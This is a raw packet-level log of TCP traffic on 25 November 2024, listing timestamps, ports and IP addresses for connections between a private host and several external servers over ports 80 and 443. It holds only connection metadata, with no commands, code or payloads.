Nov 25, 2024 16:21:44.130819082 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:44.131514072 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:44.131598949 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:44.131675005 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:44.131715059 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:44.132502079 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:44.132555008 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:44.132572889 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:44.132607937 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:44.165309906 CET	49860	443	192.168.2.5	104.117.182.66
Nov 25, 2024 16:21:44.165380955 CET	49857	443	192.168.2.5	104.117.182.66
Nov 25, 2024 16:21:44.179707050 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:44.179769993 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:44.179806948 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:44.179949999 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:44.180602074 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:44.180623055 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:44.180649042 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:44.180666924 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:44.180906057 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:44.181004047 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:44.181037903 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:44.181037903 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:44.181946993 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:44.182005882 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:44.182032108 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:44.182084084 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:44.182631016 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:44.182688951 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:44.182709932 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:44.182756901 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:44.183634043 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:44.183693886 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:44.183743000 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:44.184664965 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:44.184740067 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:44.184766054 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:44.184789896 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:44.185564041 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:44.185632944 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:44.185652971 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:44.185669899 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:44.186562061 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:44.186609030 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:44.186669111 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:44.186712980 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:44.187515974 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:44.187562943 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:44.187616110 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:44.187655926 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:44.188494921 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:44.188535929 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:44.188538074 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:44.188657045 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:44.189519882 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:44.189554930 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:44.189568043 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:44.189594030 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:44.190519094 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:44.190556049 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:44.190570116 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:44.190606117 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:44.246970892 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:44.247797966 CET	443	49855	18.164.116.57	192.168.2.5
Nov 25, 2024 16:21:44.248032093 CET	49855	443	192.168.2.5	18.164.116.57
Nov 25, 2024 16:21:44.248048067 CET	443	49855	18.164.116.57	192.168.2.5
Nov 25, 2024 16:21:44.248403072 CET	443	49855	18.164.116.57	192.168.2.5
Nov 25, 2024 16:21:44.248819113 CET	49855	443	192.168.2.5	18.164.116.57
Nov 25, 2024 16:21:44.248819113 CET	49855	443	192.168.2.5	18.164.116.57
Nov 25, 2024 16:21:44.248833895 CET	443	49855	18.164.116.57	192.168.2.5
Nov 25, 2024 16:21:44.248883009 CET	443	49855	18.164.116.57	192.168.2.5
Nov 25, 2024 16:21:44.290066957 CET	49855	443	192.168.2.5	18.164.116.57
Nov 25, 2024 16:21:44.339663029 CET	443	49845	20.190.147.1	192.168.2.5
Nov 25, 2024 16:21:44.339687109 CET	443	49845	20.190.147.1	192.168.2.5
Nov 25, 2024 16:21:44.339725018 CET	443	49845	20.190.147.1	192.168.2.5
Nov 25, 2024 16:21:44.339757919 CET	49845	443	192.168.2.5	20.190.147.1
Nov 25, 2024 16:21:44.339771986 CET	443	49845	20.190.147.1	192.168.2.5
Nov 25, 2024 16:21:44.339802980 CET	49845	443	192.168.2.5	20.190.147.1
Nov 25, 2024 16:21:44.344413996 CET	443	49845	20.190.147.1	192.168.2.5
Nov 25, 2024 16:21:44.345632076 CET	49845	443	192.168.2.5	20.190.147.1
Nov 25, 2024 16:21:44.349688053 CET	49845	443	192.168.2.5	20.190.147.1
Nov 25, 2024 16:21:44.349704981 CET	443	49845	20.190.147.1	192.168.2.5
Nov 25, 2024 16:21:44.366902113 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:44.410264969 CET	443	49847	13.107.246.40	192.168.2.5
Nov 25, 2024 16:21:44.412096024 CET	443	49847	13.107.246.40	192.168.2.5
Nov 25, 2024 16:21:44.412205935 CET	49847	443	192.168.2.5	13.107.246.40
Nov 25, 2024 16:21:44.413311958 CET	49847	443	192.168.2.5	13.107.246.40
Nov 25, 2024 16:21:44.413325071 CET	443	49847	13.107.246.40	192.168.2.5
Nov 25, 2024 16:21:44.416656971 CET	443	49851	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:44.416732073 CET	443	49851	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:44.418029070 CET	49851	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:44.421719074 CET	443	49853	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:44.424438000 CET	443	49846	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:44.424618006 CET	443	49846	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:44.424732924 CET	443	49849	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:44.424772024 CET	49846	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:44.424787998 CET	443	49849	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:44.424937963 CET	49849	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:44.426812887 CET	49851	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:44.426812887 CET	49851	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:44.426820040 CET	443	49851	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:44.426831007 CET	443	49851	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:44.446427107 CET	443	49859	104.117.182.66	192.168.2.5
Nov 25, 2024 16:21:44.446475029 CET	443	49859	104.117.182.66	192.168.2.5
Nov 25, 2024 16:21:44.446563959 CET	49859	443	192.168.2.5	104.117.182.66
Nov 25, 2024 16:21:44.446582079 CET	443	49859	104.117.182.66	192.168.2.5
Nov 25, 2024 16:21:44.446609020 CET	443	49859	104.117.182.66	192.168.2.5
Nov 25, 2024 16:21:44.446814060 CET	49859	443	192.168.2.5	104.117.182.66
Nov 25, 2024 16:21:44.451950073 CET	49859	443	192.168.2.5	104.117.182.66
Nov 25, 2024 16:21:44.451966047 CET	443	49859	104.117.182.66	192.168.2.5
Nov 25, 2024 16:21:44.453512907 CET	443	49854	13.107.246.40	192.168.2.5
Nov 25, 2024 16:21:44.454127073 CET	49854	443	192.168.2.5	13.107.246.40
Nov 25, 2024 16:21:44.454140902 CET	443	49854	13.107.246.40	192.168.2.5
Nov 25, 2024 16:21:44.454936028 CET	443	49854	13.107.246.40	192.168.2.5
Nov 25, 2024 16:21:44.455872059 CET	49854	443	192.168.2.5	13.107.246.40
Nov 25, 2024 16:21:44.455964088 CET	443	49854	13.107.246.40	192.168.2.5
Nov 25, 2024 16:21:44.456142902 CET	49854	443	192.168.2.5	13.107.246.40
Nov 25, 2024 16:21:44.460540056 CET	49846	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:44.460540056 CET	49846	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:44.460553885 CET	443	49846	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:44.460561991 CET	443	49846	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:44.460639954 CET	443	49850	23.96.180.189	192.168.2.5
Nov 25, 2024 16:21:44.460730076 CET	443	49850	23.96.180.189	192.168.2.5
Nov 25, 2024 16:21:44.460894108 CET	49850	443	192.168.2.5	23.96.180.189
Nov 25, 2024 16:21:44.461525917 CET	49850	443	192.168.2.5	23.96.180.189
Nov 25, 2024 16:21:44.461532116 CET	443	49850	23.96.180.189	192.168.2.5
Nov 25, 2024 16:21:44.461539030 CET	49853	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:44.468667984 CET	49866	443	192.168.2.5	23.96.180.189
Nov 25, 2024 16:21:44.468667984 CET	49849	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:44.468750000 CET	443	49866	23.96.180.189	192.168.2.5
Nov 25, 2024 16:21:44.468780994 CET	443	49849	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:44.468808889 CET	49849	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:44.468822956 CET	443	49849	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:44.468861103 CET	49866	443	192.168.2.5	23.96.180.189
Nov 25, 2024 16:21:44.469299078 CET	49866	443	192.168.2.5	23.96.180.189
Nov 25, 2024 16:21:44.469316006 CET	443	49866	23.96.180.189	192.168.2.5
Nov 25, 2024 16:21:44.471856117 CET	49853	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:44.471873045 CET	443	49853	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:44.472286940 CET	49853	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:44.472301960 CET	443	49853	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:44.476351976 CET	49867	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:44.476388931 CET	443	49867	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:44.476481915 CET	49867	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:44.477274895 CET	49867	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:44.477292061 CET	443	49867	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:44.478099108 CET	49868	443	192.168.2.5	20.190.147.1
Nov 25, 2024 16:21:44.478130102 CET	443	49868	20.190.147.1	192.168.2.5
Nov 25, 2024 16:21:44.478521109 CET	49868	443	192.168.2.5	20.190.147.1
Nov 25, 2024 16:21:44.479003906 CET	49869	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:44.479038954 CET	443	49869	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:44.479135036 CET	49869	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:44.479690075 CET	49868	443	192.168.2.5	20.190.147.1
Nov 25, 2024 16:21:44.479705095 CET	443	49868	20.190.147.1	192.168.2.5
Nov 25, 2024 16:21:44.480362892 CET	49869	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:44.480374098 CET	443	49869	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:44.481231928 CET	49870	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:44.481239080 CET	443	49870	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:44.481379032 CET	49870	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:44.481477976 CET	49870	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:44.481491089 CET	443	49870	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:44.503324986 CET	443	49854	13.107.246.40	192.168.2.5
Nov 25, 2024 16:21:44.518920898 CET	443	49856	104.117.182.66	192.168.2.5
Nov 25, 2024 16:21:44.518992901 CET	443	49856	104.117.182.66	192.168.2.5
Nov 25, 2024 16:21:44.519083977 CET	49856	443	192.168.2.5	104.117.182.66
Nov 25, 2024 16:21:44.520308971 CET	49856	443	192.168.2.5	104.117.182.66
Nov 25, 2024 16:21:44.520319939 CET	443	49856	104.117.182.66	192.168.2.5
Nov 25, 2024 16:21:44.539359093 CET	443	49858	104.117.182.66	192.168.2.5
Nov 25, 2024 16:21:44.539390087 CET	443	49858	104.117.182.66	192.168.2.5
Nov 25, 2024 16:21:44.539398909 CET	443	49858	104.117.182.66	192.168.2.5
Nov 25, 2024 16:21:44.539470911 CET	49858	443	192.168.2.5	104.117.182.66
Nov 25, 2024 16:21:44.539483070 CET	443	49858	104.117.182.66	192.168.2.5
Nov 25, 2024 16:21:44.540385962 CET	443	49848	51.116.253.170	192.168.2.5
Nov 25, 2024 16:21:44.540461063 CET	443	49848	51.116.253.170	192.168.2.5
Nov 25, 2024 16:21:44.540560007 CET	49848	443	192.168.2.5	51.116.253.170
Nov 25, 2024 16:21:44.541651011 CET	49848	443	192.168.2.5	51.116.253.170
Nov 25, 2024 16:21:44.541703939 CET	443	49848	51.116.253.170	192.168.2.5
Nov 25, 2024 16:21:44.542175055 CET	49858	443	192.168.2.5	104.117.182.66
Nov 25, 2024 16:21:44.542207956 CET	443	49858	104.117.182.66	192.168.2.5
Nov 25, 2024 16:21:44.542355061 CET	443	49858	104.117.182.66	192.168.2.5
Nov 25, 2024 16:21:44.542423964 CET	49858	443	192.168.2.5	104.117.182.66
Nov 25, 2024 16:21:44.542423964 CET	49858	443	192.168.2.5	104.117.182.66
Nov 25, 2024 16:21:44.548540115 CET	443	49857	104.117.182.66	192.168.2.5
Nov 25, 2024 16:21:44.548566103 CET	443	49857	104.117.182.66	192.168.2.5
Nov 25, 2024 16:21:44.548573971 CET	443	49857	104.117.182.66	192.168.2.5
Nov 25, 2024 16:21:44.548621893 CET	443	49857	104.117.182.66	192.168.2.5
Nov 25, 2024 16:21:44.548648119 CET	49857	443	192.168.2.5	104.117.182.66
Nov 25, 2024 16:21:44.548667908 CET	49857	443	192.168.2.5	104.117.182.66
Nov 25, 2024 16:21:44.552582026 CET	49857	443	192.168.2.5	104.117.182.66
Nov 25, 2024 16:21:44.552609921 CET	443	49857	104.117.182.66	192.168.2.5
Nov 25, 2024 16:21:44.562402964 CET	443	49852	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:44.562495947 CET	443	49852	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:44.562628984 CET	49852	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:44.562953949 CET	49852	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:44.562969923 CET	443	49852	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:44.562992096 CET	49852	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:44.563000917 CET	443	49852	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:44.565753937 CET	49871	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:44.565768957 CET	443	49871	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:44.565898895 CET	49871	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:44.566140890 CET	49871	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:44.566149950 CET	443	49871	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:44.566852093 CET	443	49860	104.117.182.66	192.168.2.5
Nov 25, 2024 16:21:44.566874981 CET	443	49860	104.117.182.66	192.168.2.5
Nov 25, 2024 16:21:44.566924095 CET	443	49860	104.117.182.66	192.168.2.5
Nov 25, 2024 16:21:44.566946030 CET	49860	443	192.168.2.5	104.117.182.66
Nov 25, 2024 16:21:44.567090988 CET	49860	443	192.168.2.5	104.117.182.66
Nov 25, 2024 16:21:44.568097115 CET	49860	443	192.168.2.5	104.117.182.66
Nov 25, 2024 16:21:44.568104982 CET	443	49860	104.117.182.66	192.168.2.5
Nov 25, 2024 16:21:44.697288990 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:44.697335005 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:44.697365999 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:44.697444916 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:44.697741985 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:44.697829962 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:44.698182106 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:44.698765993 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:44.698779106 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:44.698915958 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:44.699512005 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:44.699593067 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:44.699745893 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:44.700473070 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:44.700592041 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:44.700615883 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:44.700829029 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:44.701428890 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:44.701545954 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:44.701735020 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:44.702476025 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:44.702574015 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:44.702629089 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:44.702629089 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:44.703537941 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:44.703634024 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:44.703654051 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:44.703715086 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:44.704389095 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:44.704497099 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:44.704788923 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:44.705384970 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:44.705477953 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:44.705585957 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:44.706398964 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:44.706443071 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:44.706536055 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:44.706650019 CET	443	49855	18.164.116.57	192.168.2.5
Nov 25, 2024 16:21:44.706743002 CET	443	49855	18.164.116.57	192.168.2.5
Nov 25, 2024 16:21:44.706890106 CET	49855	443	192.168.2.5	18.164.116.57
Nov 25, 2024 16:21:44.707397938 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:44.707535982 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:44.707568884 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:44.707710981 CET	49855	443	192.168.2.5	18.164.116.57
Nov 25, 2024 16:21:44.707729101 CET	443	49855	18.164.116.57	192.168.2.5
Nov 25, 2024 16:21:44.707747936 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:44.708380938 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:44.708425045 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:44.708494902 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:44.709356070 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:44.709450006 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:44.709484100 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:44.710336924 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:44.710431099 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:44.710458040 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:44.710628033 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:44.711369038 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:44.711456060 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:44.711538076 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:44.712421894 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:44.712503910 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:44.712774038 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:44.713258982 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:44.713345051 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:44.713355064 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:44.713510990 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:44.714253902 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:44.714344025 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:44.714416981 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:44.714416981 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:44.715251923 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:44.715338945 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:44.715368986 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:44.715450048 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:44.716274977 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:44.716403008 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:44.716567039 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:44.717227936 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:44.717262983 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:44.717389107 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:44.718241930 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:44.718379974 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:44.718404055 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:44.719183922 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:44.719197989 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:44.719377041 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:44.720185041 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:44.720274925 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:44.720297098 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:44.721158028 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:44.721234083 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:44.721259117 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:44.721359968 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:44.722124100 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:44.722239971 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:44.722363949 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:44.723126888 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:44.723187923 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:44.723493099 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:44.724153042 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:44.724241972 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:44.724267960 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:44.724482059 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:44.725111961 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:44.725188971 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:44.725214005 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:44.725444078 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:44.726108074 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:44.726227045 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:44.726229906 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:44.726325035 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:44.727134943 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:44.727204084 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:44.727205992 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:44.727303028 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:44.728038073 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:44.728173971 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:44.728183031 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:44.728272915 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:44.729006052 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:44.729213953 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:44.961384058 CET	443	49861	20.110.205.119	192.168.2.5
Nov 25, 2024 16:21:44.965600014 CET	443	49853	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:44.965682030 CET	443	49853	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:44.965751886 CET	49853	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:44.990303993 CET	49861	443	192.168.2.5	20.110.205.119
Nov 25, 2024 16:21:44.990330935 CET	443	49861	20.110.205.119	192.168.2.5
Nov 25, 2024 16:21:44.990763903 CET	443	49861	20.110.205.119	192.168.2.5
Nov 25, 2024 16:21:45.000076056 CET	49861	443	192.168.2.5	20.110.205.119
Nov 25, 2024 16:21:45.000147104 CET	443	49861	20.110.205.119	192.168.2.5
Nov 25, 2024 16:21:45.000757933 CET	49861	443	192.168.2.5	20.110.205.119
Nov 25, 2024 16:21:45.003674984 CET	49853	443	192.168.2.5	13.107.246.63
